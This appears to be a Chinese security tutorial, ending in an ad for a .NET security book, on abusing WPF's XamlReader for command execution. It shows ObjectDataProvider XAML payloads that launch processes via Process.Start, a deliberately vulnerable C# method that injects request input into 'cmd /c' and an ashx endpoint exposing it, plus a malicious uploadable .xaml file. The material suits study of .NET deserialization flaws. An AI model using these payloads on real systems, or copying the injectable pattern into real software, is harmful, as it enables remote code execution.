本文将聚焦 .NET 生态中一个特殊的安全相关类,依托 XamlReader 组件动态解析 XAML 文档的核心特性,通过精心构造 XAML 载荷,可在目标主机上实现无文件落地的任意系统进程启动,最终达成程命令执行的效果。
在 .NET 应用中,WPF 因其强大的界面绘制能力和灵活的数据绑定机制而被广泛使用。与传统的 Windows Forms 不同,WPF 使用一种名为 XAML 的声明式标记语言来描述 UI 元素和数据交互逻辑。
1.1 WPF 框架
1.2 XAML 介绍
<Button Content="点击我" Width="100" Height="50"/>
<ObjectDataProvider x:Key="launch" ObjectType="{x:Type sys:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<sys:String>calc.exe</sys:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
Process.Start("calc.exe") 启动计算器。
System.Windows.Markup.XamlReader 是 WPF 的核心类之一,存在于 PresentationFramework.dll 中。该类提供了一系列方法,可用于将 XAML 字符串或流解析成实际的 .NET 对象。

2.1 动态构造XAML
在支持 WPF 的 Web API、富客户端、插件化平台或用户自定义模板系统中,若系统直接调用了 XamlReader.Parse() 来解析用户输入的数据,便存在命令执行的风险,具体代码如下所示。
publicstaticvoidCodeInject(string input)
{
StringBuilder xaml =newStringBuilder();
xaml.Append("<ResourceDictionary ");
xaml.Append("xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" ");
xaml.Append("xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" ");
xaml.Append("xmlns:b=\"clr-namespace:System;assembly=mscorlib\" ");
xaml.Append("xmlns:pro=\"clr-namespace:System.Diagnostics;assembly=System\">");
xaml.Append("<ObjectDataProvider x:Key=\"obj\" ObjectType=\"{x:Type pro:Process}\" MethodName=\"Start\">");
xaml.Append("<ObjectDataProvider.MethodParameters>");
xaml.Append("<b:String>cmd</b:String>");
xaml.Append($"<b:String>/c {input}</b:String>");
xaml.Append("</ObjectDataProvider.MethodParameters>");
xaml.Append("</ObjectDataProvider>");
xaml.Append("</ResourceDictionary>");
XamlReader.Parse(xaml.ToString());
}
上述代码段中,程序利用StringBuilder类动态构建了一个XAML字符串,该字符串定义了一个ResourceDictionary。
其中包含了一个ObjectDataProvider元素,这个ObjectDataProvider被配置为启动System.Diagnostics.Process类的Start方法,进而调用cmd.exe /c命令运行指定的程序,如winver.exe。
如果部署了如下 ashx 接口,通过HTTP请求访问XamlReaderParseSpy.ashx?input=winver,可以触发此XAML代码的解析并成功启动进程。
publicvoidProcessRequest(HttpContext context)
{
string cmd = context.Request["input"];
CodeInject(cmd);
}
2.2 文件方式触发
XamlReader.Load 可解析来自本地磁盘的 .xaml 文件,若系统允许用户上传或修改 .xaml 配置,攻击者可构造文件并上传,等待后台加载。
<Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:sys="clr-namespace:System;assembly=mscorlib"
xmlns:local="clr-namespace:System.Diagnostics;assembly=System">
<Window.Resources>
<ObjectDataProvider x:Key="cmd" ObjectType="{x:Type local:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<sys:String>calc</sys:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</Window.Resources>
</Window>
通过LoadAsync方法正常解析Dictionary2.xaml文件中保存的负载,成功启动本地计算器进程,如下图所示。

XAML 是强大且灵活的 UI 构建语言,而 XamlReader 作为其解析入口,在客户端开发中不可或缺。
以上相关的知识点已收录于新书《.NET安全攻防指南》,全书共计25章,总计1010页,分为上下册,横跨.NET Web代码审计与红队渗透两大领域。
上册深入剖析.NET Web安全审计的核心技术,帮助读者掌握漏洞发现与修复的精髓;下册则聚焦于.NET逆向工程与攻防对抗的实战技巧,揭秘最新的对抗策略与技术方法。
自《.NET安全攻防指南》上线以来,许多读者已抢先下单成功购入并收到了书籍,反响热烈,好评如潮!感谢大家的支持,我们也将持续为大家带来更多优质的.NET安全研究成果!原价258元,现限量优惠,数量有限!
点击京东链接:https://item.jd.com/10140917044329.html 或者打开手机京东APP即可下单购买。

